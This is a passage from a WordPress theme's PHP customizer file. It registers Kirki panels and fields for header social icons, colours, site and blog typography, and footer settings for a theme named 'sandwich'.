	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'fontawesome',
		'settings' => 'sandwich_main_header_social_icons_instagram',
		'label'    => esc_html__('Fifth Icon', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => 'instagram',
		'required' => array(
			array(
				'setting'  => 'sandwich_main_header_social_icons_fifth_display',
				'value'    => true,
				'operator' => '=='
			),
		),
	));

	// Instagram icon link
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'url',
		'settings' => 'sandwich_main_header_social_icons_instagram_link',
		'label'    => esc_html__('Link', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons',
		'default'  => 'https://www.instagram.com',
		'required' => array(
			array(
				'setting'  => 'sandwich_main_header_social_icons_fifth_display',
				'value'    => true,
				'operator' => '=='
			),
		),
	));
	/*
	 * Social Icons Typography
	 * */
	Kirki::add_section('sandwich_main_header_social_icons_typography', array(
		'title'    => esc_attr__('Social Icons Typography', 'sandwich'),
		'panel'    => 'sandwich_main_header',
		'priority' => 7,
	));
	// icon color
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_main_header_social_icons_color',
		'label'    => esc_html__('Color', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons_typography',
		'default'  => '#2980b9',
		'tooltip'  => 'These features for specific layouts only that feature social icons in the header layout.  They will only work if you select one of the header layouts with social media icons and they will not effect the Top Header social icons.',
	));
	// icon hover color
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'color',
		'settings' => 'sandwich_main_header_social_icons_hover_color',
		'label'    => esc_html__('Hover Color', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons_typography',
		'default'  => '#333333',
	));
	// icon size
	Kirki::add_field('sandwich_customizer', array(
		'type'     => 'number',
		'settings' => 'sandwich_main_header_social_icons_size',
		'label'    => esc_html__('Icon Size', 'sandwich'),
		'section'  => 'sandwich_main_header_social_icons_typography',
		'default'  => 14,
	));

// }
/* ========================= Condition Based Header Section End ============================= */
/*
 *  ================= Header Color Panel ============================
 * */
Kirki::add_panel('sandwich_main_header_color', array(
    'priority' => 61,
    'title'    => esc_attr__('Header Colors', 'sandwich'),
));
// Background color (non sticky)
Kirki::add_section('sandwich_main_header_background_color', array(
    'title' => esc_attr__('Color', 'sandwich'),
    'panel' => 'sandwich_main_header_color',
));

// Background color
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'color',
    'settings' => 'sandwich_main_header_non_sticky_bg_color',
    'label'    => esc_html__('Background Color', 'sandwich'),
    'section'  => 'sandwich_main_header_background_color',
    'default'  => '#ffffff ',
    'choices'  => array(
        'alpha' => true,
    ),
));

// Background color (sticky)
Kirki::add_section('sandwich_main_header_sticky_background_color', array(
    'title' => esc_attr__('Sticky Color', 'sandwich'),
    'panel' => 'sandwich_main_header_color',
));

// Background color
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'color',
    'settings' => 'sandwich_main_header_sticky_bg_color',
    'label'    => esc_html__('Background Color', 'sandwich'),
    'section'  => 'sandwich_main_header_sticky_background_color',
    'default'  => '#eeeeee ',
    'choices'  => array(
        'alpha' => true,
    ),
));
/* ==================== End Header Color ======================= */

/*
 *  ================================= Header Top Panel ===========================
 * */
Kirki::add_panel('sandwich_header_top_panel', array(
    'priority' => 62,
    'title'    => esc_attr__('Header Top', 'sandwich'),
));
/*
 * common settings
 * */
Kirki::add_section('sandwich_header_top_common_settings', array(
    'title' => esc_attr__('Common Settings', 'sandwich'),
    'panel' => 'sandwich_header_top_panel',
));

// Display
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'checkbox',
    'settings' => 'sandwich_header_top_section_display',
    'label'    => esc_html__('Display', 'sandwich'),
    'section'  => 'sandwich_header_top_common_settings',
    'default'  => true,
	'tooltip'  => 'These features effect the very top section called Header Top.',
));

// switch position
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'switch',
    'settings' => 'sandwich_header_top_switch_position',
    'label'    => esc_html__('Switch Positions', 'sandwich'),
    'section'  => 'sandwich_header_top_common_settings',
    'default'  => false,
));
// background
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'color',
    'settings' => 'sandwich_header_top_background_color',
    'label'    => esc_html__('Background Color', 'sandwich'),
    'section'  => 'sandwich_header_top_common_settings',
    'default'  => '#f4f4f4',
	'choices'  => array(
        'alpha' => true,
    ),
));

// spacing
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'range',
    'settings' => 'sandwich_header_top_spacing',
    'label'    => esc_html__('Spacing', 'sandwich'),
    'section'  => 'sandwich_header_top_common_settings',
    'default'  => 6,
));

/*
 * Call to Action
 * */
Kirki::add_section('sandwich_header_top_call_to_action', array(
    'title' => esc_attr__('Call to Action', 'sandwich'),
    'panel' => 'sandwich_header_top_panel',
));
// display
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'checkbox',
    'settings' => 'sandwich_header_top_call_to_action_display',
    'label'    => esc_html__('Display', 'sandwich'),
    'section'  => 'sandwich_header_top_call_to_action',
    'default'  => true,
));

// Code
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'code',
    'settings' => 'sandwich_call_to_action_text',
    'label'    => esc_attr__('Text (HTML Allow)', 'sandwich'),
    'section'  => 'sandwich_header_top_call_to_action',
    'default'  => 'Call to Action',
    'choices'  => array(
        'language' => 'html',
    ),
));

// Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_header_top_call_to_action_typography',
    'label'    => esc_html__('Typography', 'sandwich'),
    'section'  => 'sandwich_header_top_call_to_action',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => 'regular',
        'font-size'      => '14px',
        'letter-spacing' => '0',
        'color'          => '#777777',
        'text-align'     => 'inherit',
        'text-transform' => 'none',
    ),
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => '.call_to_action',
        ),
        array(
            'element' => '.call_to_action span',
        ),
        array(
            'element' => '.call_to_action span a',
        ),
    ),
));
/*
 * Social Icons
 * */
Kirki::add_section('sandwich_header_top_social_icons', array(
    'title' => esc_attr__('Social Icons', 'sandwich'),
    'panel' => 'sandwich_header_top_panel',
));
// display
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'checkbox',
    'settings' => 'sandwich_header_top_social_icons_display',
    'label'    => esc_html__('Display Social Icons Section', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons',
    'default'  => true,
	'tooltip'  => 'These features control the social media icons that appear in the Header Top and are not effected by your layout selection',
));
// display first icon
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'checkbox',
    'settings' => 'sandwich_header_top_social_icons_first_display',
    'label'    => esc_html__('Display First Icon', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons',
    'default'  => true,
));
// facebook icon
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'fontawesome',
    'settings' => 'sandwich_header_top_social_icons_facebook',
    'label'    => esc_html__('First Icon', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons',
    'default'  => 'facebook',
    'required' => array(
        array(
            'setting'  => 'sandwich_header_top_social_icons_first_display',
            'value'    => true,
            'operator' => '=='
        ),
    ),
));
// facebook icon link
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'url',
    'settings' => 'sandwich_header_top_social_icons_facebook_link',
    'label'    => esc_html__('Link', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons',
    'default'  => 'https://www.facebook.com',
    'required' => array(
        array(
            'setting'  => 'sandwich_header_top_social_icons_first_display',
            'value'    => true,
            'operator' => '=='
        ),
    ),
));

// display second icon
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'checkbox',
    'settings' => 'sandwich_header_top_social_icons_second_display',
    'label'    => esc_html__('Display Second Icon', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons',
    'default'  => true,
));
// twitter icon
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'fontawesome',
    'settings' => 'sandwich_header_top_social_icons_twitter',
    'label'    => esc_html__('Second Icon', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons',
    'default'  => 'twitter',
    'required' => array(
        array(
            'setting'  => 'sandwich_header_top_social_icons_second_display',
            'value'    => true,
            'operator' => '=='
        ),
    ),
));

// twitter icon link
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'url',
    'settings' => 'sandwich_header_top_social_icons_twitter_link',
    'label'    => esc_html__('Link', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons',
    'default'  => 'https://www.twitter.com',
    'required' => array(
        array(
            'setting'  => 'sandwich_header_top_social_icons_second_display',
            'value'    => true,
            'operator' => '=='
        ),
    ),
));

// display third icon
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'checkbox',
    'settings' => 'sandwich_header_top_social_icons_third_display',
    'label'    => esc_html__('Display Third Icon', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons',
    'default'  => true,
));
// google plus icon
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'fontawesome',
    'settings' => 'sandwich_header_top_social_icons_google',
    'label'    => esc_html__('Third Icon', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons',
    'default'  => 'google-plus',
    'required' => array(
        array(
            'setting'  => 'sandwich_header_top_social_icons_third_display',
            'value'    => true,
            'operator' => '=='
        ),
    ),
));

// Google icon link
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'url',
    'settings' => 'sandwich_header_top_social_icons_google_link',
    'label'    => esc_html__('Link', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons',
    'default'  => 'https://www.plus-google.com',
    'required' => array(
        array(
            'setting'  => 'sandwich_header_top_social_icons_third_display',
            'value'    => true,
            'operator' => '=='
        ),
    ),
));

// display fourth icon
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'checkbox',
    'settings' => 'sandwich_header_top_social_icons_fourth_display',
    'label'    => esc_html__('Display Fourth Icon', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons',
    'default'  => true,
));
// youtube icon
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'fontawesome',
    'settings' => 'sandwich_header_top_social_icons_youtube',
    'label'    => esc_html__('Fourth Icon', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons',
    'default'  => 'youtube',
    'required' => array(
        array(
            'setting'  => 'sandwich_header_top_social_icons_fourth_display',
            'value'    => true,
            'operator' => '=='
        ),
    ),
));

// Youtube icon link
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'url',
    'settings' => 'sandwich_header_top_social_icons_youtube_link',
    'label'    => esc_html__('Link', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons',
    'default'  => 'https://www.youtube.com',
    'required' => array(
        array(
            'setting'  => 'sandwich_header_top_social_icons_fourth_display',
            'value'    => true,
            'operator' => '=='
        ),
    ),
));
/*
 * Social Icons Typography
 * */
Kirki::add_section('sandwich_header_top_social_icons_typography', array(
    'title' => esc_attr__('Social Icons Typography', 'sandwich'),
    'panel' => 'sandwich_header_top_panel',
));
// icon color
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'color',
    'settings' => 'sandwich_header_top_social_icons_color',
    'label'    => esc_html__('Color', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons_typography',
    'default'  => '#2980b9',
	'tooltip'  => 'These features are the social media icons that appear in the Header Top and are not effected by your layout selection',
));
// icon hover color
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'color',
    'settings' => 'sandwich_header_top_social_icons_hover_color',
    'label'    => esc_html__('Hover Color', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons_typography',
    'default'  => '#333333',
));
// icon size
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'number',
    'settings' => 'sandwich_header_top_social_icons_size',
    'label'    => esc_html__('Icon Size', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons_typography',
    'default'  => 14,
));
// icon spacing
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'range',
    'settings' => 'sandwich_header_top_social_icons_spacing',
    'label'    => esc_html__('Spacing', 'sandwich'),
    'section'  => 'sandwich_header_top_social_icons_typography',
    'default'  => 8,
));
/* ======================== End of Header Top Section =============================== */

}

/*========== End Custom Header Condition ====================*/

/* ==========================
*     Site Typography Panel
*  ==========================
*/
Kirki::add_panel('sandwich_site_typography_panel', array(
    'priority' => 63,
    'title'    => esc_attr__('Site Typography', 'sandwich'),
));
// Heading one
Kirki::add_section('sandwich_heading_one', array(
    'title' => esc_attr__('H1', 'sandwich'),
    'panel' => 'sandwich_site_typography_panel',
));
// Heading one Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_heading_one_typography',
    'label'    => esc_html__('Typography', 'sandwich'),
    'section'  => 'sandwich_heading_one',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => '700',
        'font-size'      => '36px',
        'color'          => '#333333',
        'text-transform' => 'none',
        'text-align'     => 'inherit',
    ),
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => 'h1',
        ),
    ),
));
// Heading two
Kirki::add_section('sandwich_heading_two', array(
    'title' => esc_attr__('H2', 'sandwich'),
    'panel' => 'sandwich_site_typography_panel',
));
// Heading two Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_heading_two_typography',
    'label'    => esc_html__('Typography', 'sandwich'),
    'section'  => 'sandwich_heading_two',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => '700',
        'font-size'      => '30px',
        'color'          => '#333333',
        'text-transform' => 'none',
        'text-align'     => 'inherit',
    ),
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => 'h2',
        ),
    ),
));
// Heading three
Kirki::add_section('sandwich_heading_three', array(
    'title' => esc_attr__('H3', 'sandwich'),
    'panel' => 'sandwich_site_typography_panel',
));
// Heading three Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_heading_three_typography',
    'label'    => esc_html__('Typography', 'sandwich'),
    'section'  => 'sandwich_heading_three',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => '700',
        'font-size'      => '24px',
        'color'          => '#333333',
        'text-transform' => 'none',
        'text-align'     => 'inherit',
    ),
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => 'h3',
        ),
    ),
));

// Heading four
Kirki::add_section('sandwich_heading_four', array(
    'title' => esc_attr__('H4', 'sandwich'),
    'panel' => 'sandwich_site_typography_panel',
));
// Heading four Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_heading_four_typography',
    'label'    => esc_html__('Typography', 'sandwich'),
    'section'  => 'sandwich_heading_four',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => '700',
        'font-size'      => '18px',
        'color'          => '#333333',
        'text-transform' => 'none',
        'text-align'     => 'inherit',
    ),
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => 'h4',
        ),
    ),
));

// Heading five
Kirki::add_section('sandwich_heading_five', array(
    'title' => esc_attr__('H5', 'sandwich'),
    'panel' => 'sandwich_site_typography_panel',
));
// Heading five Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_heading_five_typography',
    'label'    => esc_html__('Typography', 'sandwich'),
    'section'  => 'sandwich_heading_five',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => '700',
        'font-size'      => '16px',
        'color'          => '#333333',
        'text-transform' => 'none',
        'text-align'     => 'inherit',
    ),
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => 'h5',
        ),
    ),
));

// Heading six
Kirki::add_section('sandwich_heading_six', array(
    'title' => esc_attr__('H6', 'sandwich'),
    'panel' => 'sandwich_site_typography_panel',
));
// Heading six Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_heading_six_typography',
    'label'    => esc_html__('Typography', 'sandwich'),
    'section'  => 'sandwich_heading_six',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => '700',
        'font-size'      => '14px',
        'color'          => '#333333',
        'text-transform' => 'none',
        'text-align'     => 'inherit',
    ),
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => 'h6',
        ),
    ),
));

// body
Kirki::add_section('sandwich_body', array(
    'title' => esc_attr__('Body', 'sandwich'),
    'panel' => 'sandwich_site_typography_panel',
));
// body Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_body_typography',
    'label'    => esc_html__('Typography', 'sandwich'),
    'section'  => 'sandwich_body',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => 'regular',
        'font-size'      => '14px',
        'color'          => '#333333',
        'text-transform' => 'none',
        'text-align'     => 'inherit',
    ),
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => 'body p',
        ),
        array(
            'element' => 'body',
        ),
    ),
));
// Hyperlink
Kirki::add_section('sandwich_site_hyperlink', array(
    'title' => esc_attr__('Hyperlink', 'sandwich'),
    'panel' => 'sandwich_site_typography_panel',
));
// Hyperlink Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_site_hyperlink_typography',
    'label'    => esc_html__('Typography', 'sandwich'),
    'section'  => 'sandwich_site_hyperlink',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => 'regular',
        'font-size'      => '14px',
        'color'          => '#333333',
        'text-transform' => 'none',
    ),
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => 'a',
        ),
    ),
));
// Hover Color
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'color',
    'settings' => 'sandwich_site_hyperlink_hover_color',
    'label'    => esc_html__('Hover Color', 'sandwich'),
    'section'  => 'sandwich_site_hyperlink',
    'default'  => '#000000',
));
/* ====================== End Site Typography ================================== */
/* =========================
 *   Blog Post Typography
 * =========================
 * */
Kirki::add_panel('sandwich_blog_post_typography_panel', array(
    'priority' => 64,
    'title'    => esc_attr__('Blog Post Typography', 'sandwich'),
));
// Heading
Kirki::add_section('sandwich_blog_post_heading', array(
    'title' => esc_attr__('Heading', 'sandwich'),
    'panel' => 'sandwich_blog_post_typography_panel',
));
// Heading Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_blog_post_heading_typography',
    'label'    => esc_html__('Typography', 'sandwich'),
    'section'  => 'sandwich_blog_post_heading',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => '700',
        'font-size'      => '25px',
        'color'          => '#212B41',
        'text-transform' => 'none',
        'text-align'     => 'inherit',
    ),
	'tooltip'  => 'This adjusts the heading typography for posts and pages (If you have turned on page titles)',
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => 'h1.entry-title',
        ),
        array(
            'element' => 'h1.entry-title a',
        ),
    ),
));
/*
* Post Meta
*/
Kirki::add_section('sandwich_blog_post_meta', array(
    'title' => esc_attr__('Post Meta', 'sandwich'),
    'panel' => 'sandwich_blog_post_typography_panel',
));
// display
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'checkbox',
    'settings' => 'sandwich_blog_post_meta_display',
    'label'    => esc_html__('Display Post Meta', 'sandwich'),
    'section'  => 'sandwich_blog_post_meta',
    'default'  => true,
));
// Post Meta Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_blog_post_meta_typography',
    'label'    => esc_html__('Typography', 'sandwich'),
    'section'  => 'sandwich_blog_post_meta',
    'default'  => array(
        'font-size' => '14px',
        'color'     => '#3a5a98',
    ),
	'tooltip'  => 'These settings adjust the text for authors, date, & comments on posts',
    'required' => array(
        array(
            'setting'  => 'sandwich_blog_post_meta_display',
            'value'    => true,
            'operator' => '=='
        ),
    ),
    'output'   => array(
        array(
            'element' => '.entry-meta-wrapper span',
        ),
        array(
            'element' => '.entry-meta-wrapper a',
        ),
    ),
));

// Spacing
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'Number',
    'settings' => 'sandwich_blog_post_meta_spacing',
    'label'    => esc_html__('Spacing', 'sandwich'),
    'section'  => 'sandwich_blog_post_meta',
    'default'  => 10,
    'required' => array(
        array(
            'setting'  => 'sandwich_blog_post_meta_display',
            'value'    => true,
            'operator' => '=='
        ),
    ),
));
/*
* Featured Image
*/
Kirki::add_section('sandwich_blog_post_featured_image', array(
    'title' => esc_attr__('Featured Image', 'sandwich'),
    'panel' => 'sandwich_blog_post_typography_panel',
));
// display featured image
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'checkbox',
    'settings' => 'sandwich_blog_post_featured_image_display',
    'label'    => esc_html__('Display Featured Image', 'sandwich'),
    'section'  => 'sandwich_blog_post_featured_image',
    'default'  => true,
	'tooltip'  => 'Choose to display or hide featured images for your blog posts',
));
/*
* Post Content
*/
Kirki::add_section('sandwich_blog_post_content', array(
    'title' => esc_attr__('Post Content', 'sandwich'),
    'panel' => 'sandwich_blog_post_typography_panel',
));
// Post Content Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_blog_post_content_typography',
    'label'    => esc_html__('Typography', 'sandwich'),
    'section'  => 'sandwich_blog_post_content',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => 'regular',
        'font-size'      => '14px',
        'color'          => '#333333',
        'text-align'     => 'inherit',
        'text-transform' => 'none'
    ),
	'tooltip'  => 'Change the font for your post pages',
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => '.post_content',
        ),
        array(
            'element' => '.post_content p',
        ),
    ),
));

/*
 *  Footer Panel
 * */
Kirki::add_panel('sandwich_footer', array(
    'priority' => 170,
    'title'    => esc_attr__('Footer', 'sandwich'),
));
// Footer Display
Kirki::add_section('sandwich_footer_display_section', array(
    'title' => esc_attr__('Display', 'sandwich'),
    'panel' => 'sandwich_footer',
));
// display footer field
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'checkbox',
    'settings' => 'sandwich_footer_display',
    'label'    => esc_html__('Display Footer', 'sandwich'),
    'section'  => 'sandwich_footer_display_section',
    'default'  => true,
));

// Footer Text Section
Kirki::add_section('sandwich_footer_text_section', array(
    'title' => esc_attr__('Text', 'sandwich'),
    'panel' => 'sandwich_footer',
));
// Footer Text
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'code',
    'settings' => 'sandwich_footer_text',
    'label'    => esc_attr__('Footer Text (HTML Allow)', 'sandwich'),
    'section'  => 'sandwich_footer_text_section',
    'default'  => 'Copyright © All Rights Reserved',
    'choices'  => array(
        'language' => 'html',
    ),
));

// Footer Text typography
Kirki::add_section('sandwich_footer_text_typography_section', array(
    'title' => esc_attr__('Typography', 'sandwich'),
    'panel' => 'sandwich_footer',
));

// display footer
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'color',
    'settings' => 'sandwich_footer_background',
    'label'    => esc_html__('Footer Background', 'sandwich'),
    'section'  => 'sandwich_footer_text_typography_section',
    'default'  => '#222222',
	'choices'  => array(
        'alpha' => true,
    ),
));

// Footer Text Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_footer_text_typography',
    'label'    => esc_html__('Footer Typography', 'sandwich'),
    'section'  => 'sandwich_footer_text_typography_section',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => 'regular',
        'font-size'      => '14px',
        'color'          => '#bbbbbb',
        'text-align'     => 'center',
        'text-transform' => 'none'
    ),
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => '.site-info.copy-right span',
        ),
        array(
            'element' => '.site-info.copy-right span a',
        ),
    ),
));

/*
 * ============ Before Footer Section ================
 * */
Kirki::add_panel('sandwich_before_footer', array(
    'priority' => 165,
    'title'    => esc_attr__('Before Footer', 'sandwich'),
));
// Before Footer Display
Kirki::add_section('sandwich_before_footer_item_select_section', array(
    'title' => esc_attr__('Items Number', 'sandwich'),
    'panel' => 'sandwich_before_footer',
));

// display before footer
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'select',
    'settings' => 'sandwich_before_footer_item_select',
    'label'    => esc_html__('Select Number of Items', 'sandwich'),
    'section'  => 'sandwich_before_footer_item_select_section',
    'default'  => 'three_items',
    'choices'  => array(
        'two_items'   => esc_attr__('2 Items', 'sandwich'),
        'three_items' => esc_attr__('3 Items', 'sandwich'),
        'four_items'  => esc_attr__('4 Items', 'sandwich'),
    ),
	'tooltip'  => 'You must add widgets to the Before Footer section before this feature will work.  With this feature you can determine how many columns the Before Footer section will have',
));

// Before Footer Display
Kirki::add_section('sandwich_before_footer_display_section', array(
    'title' => esc_attr__('Common Settings', 'sandwich'),
    'panel' => 'sandwich_before_footer',
));
// display before footer
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'checkbox',
    'settings' => 'sandwich_before_footer_display',
    'label'    => esc_html__('Display Before Footer', 'sandwich'),
    'section'  => 'sandwich_before_footer_display_section',
    'default'  => true,
));

// before footer background
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'color',
    'settings' => 'sandwich_before_footer_background',
    'label'    => esc_html__('Before Footer Background', 'sandwich'),
    'section'  => 'sandwich_before_footer_display_section',
    'default'  => '#333333',
    'choices'  => array(
        'alpha' => true,
    ),
));

// Before Footer Heading
Kirki::add_section('sandwich_before_footer_heading_section', array(
    'title' => esc_attr__('Heading Typography', 'sandwich'),
    'panel' => 'sandwich_before_footer',
));

// Before Footer Heading Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_before_footer_heading_typography',
    'label'    => esc_html__('Heading Typography', 'sandwich'),
    'section'  => 'sandwich_before_footer_heading_section',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => '700',
        'font-size'      => '25px',
        'color'          => '#999999',
        'text-align'     => 'inherit',
        'text-transform' => 'none'
    ),
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => 'h2#before_footer_sidebar_heading',
        ),
    ),
));

// Before Footer Heading
Kirki::add_section('sandwich_before_footer_text_section', array(
    'title' => esc_attr__('Text Typography', 'sandwich'),
    'panel' => 'sandwich_before_footer',
));

// Before Footer Text Typography
Kirki::add_field('sandwich_customizer', array(
    'type'     => 'typography',
    'settings' => 'sandwich_before_footer_text_typography',
    'label'    => esc_html__('Text Typography', 'sandwich'),
    'section'  => 'sandwich_before_footer_text_section',
    'default'  => array(
        'font-family'    => 'Roboto',
        'variant'        => 'regular',
        'font-size'      => '14px',
        'color'          => '#666666',
        'text-align'     => 'justify',
        'text-transform' => 'none'
    ),
    'choices'  => array(
        'fonts' => array(
            'google'   => array('popularity', 100),
            'standard' => array(
                'Georgia,Times,"Times New Roman",serif',
                'Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif',
            ),
        ),
    ),
    'output'   => array(
        array(
            'element' => 'section#before_footer_sidebar p',
        ),
        array(
